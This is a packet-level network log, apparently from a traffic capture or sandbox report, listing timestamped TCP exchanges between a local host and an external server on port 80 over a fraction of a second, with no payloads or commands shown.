Apr 27, 2023 07:42:01.192724943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.192779064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.194092035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.194143057 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.194190979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.194227934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.194258928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.194349051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.199501038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.199554920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.199600935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.199646950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.199671984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.199683905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.199734926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.199800014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.200417995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.200517893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.200568914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.200607061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.200615883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.200680971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.217034101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.217096090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.217145920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.217192888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.217233896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.217289925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.217330933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.219966888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220006943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220055103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220102072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220110893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220139980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220141888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220186949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220189095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220222950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220242023 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220268965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220278025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220278025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220315933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220330954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220355034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.220396042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.220428944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.221677065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.221714020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.221769094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.221791029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.221815109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.221832037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.221832037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.221852064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.221872091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.221918106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225060940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225107908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225157976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225162029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225194931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225202084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225227118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225243092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225250006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225291967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225305080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225337982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225352049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225374937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.225410938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.225435019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.230149984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.230218887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.230268955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.230317116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.230355978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.230422974 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.230468988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.233319044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.233369112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.233427048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.233442068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.233475924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.233488083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.233501911 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.233526945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.233552933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.233582973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.234833956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.234883070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.234941959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.234981060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.234988928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.235008955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.235027075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.235050917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.235080957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.236581087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.236629963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.236675978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.236686945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.236711979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.236725092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.236725092 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.236774921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.238158941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238194942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238238096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238271952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238284111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.238317966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238322973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.238322973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.238353014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.238379955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.238413095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.243484020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.243570089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.243617058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.243654966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.243657112 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.243696928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.243729115 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.246884108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.246948957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.246995926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.247035027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.247035027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.247072935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.247097015 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251616001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251665115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251698971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251734018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251779079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251791000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251812935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251830101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251852036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251858950 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251880884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251905918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251940012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251966953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.251976013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.251996040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.252041101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.254784107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.254872084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.254920006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.254956007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.254956961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.254985094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.255003929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.255012989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.255042076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.255063057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.255099058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.256431103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.256469965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.256510973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.256515980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.256537914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.256561995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.256582975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.256597996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.256625891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.256652117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.258088112 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.258121014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.258167028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.258208990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.258214951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.258251905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.258292913 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.258387089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.259923935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.259959936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.260004997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.260019064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.260051012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.260086060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.260092020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.260138035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.260168076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.261533022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.261568069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.261612892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.261640072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.261660099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.261670113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.261694908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.261718035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.261748075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.263289928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.263336897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.263355017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.263370991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.263411045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.263441086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.263442993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.263482094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.263505936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.263547897 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268253088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268316031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268362999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268367052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268400908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268404961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268445015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268446922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268488884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268491983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268537998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268538952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268577099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.268588066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268613100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.268656969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.271435976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.271522999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.271559954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.271605968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.271641016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.271644115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.271728992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.274694920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.274749041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.274799109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.274844885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.274878025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.274918079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.274964094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.274965048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.275012016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.275028944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.275047064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.275091887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.275093079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.275131941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.275167942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.275227070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.278044939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.278110981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.278158903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.278198004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.278218031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.278259993 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.278321028 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.279813051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.279874086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.279922009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.279932022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.279959917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.279974937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.280025005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284508944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284548998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284595966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284630060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284642935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284689903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284703016 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284735918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284748077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284770012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284804106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284812927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284830093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284857988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284877062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284924984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.284949064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.284982920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291266918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291353941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291428089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291476011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291520119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291524887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291563988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291568995 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291610003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291627884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291656971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291677952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291692972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.291729927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.291754961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.292726994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.292793989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.292830944 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.292835951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.292865038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.292891979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.292958975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.292999029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.293029070 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.293057919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.294388056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.294434071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.294470072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.294478893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.294504881 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.294519901 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.294533014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.294557095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.294624090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.296082973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.296206951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.296209097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.296246052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.296277046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.296291113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.296307087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.296344042 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.296370983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.296413898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.297647953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.297699928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.297734022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.297740936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.297768116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.297779083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.297807932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.297812939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:01.297844887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.297869921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:01.301027060 CEST	80	49697	85.192.63.15	192.168.2.3
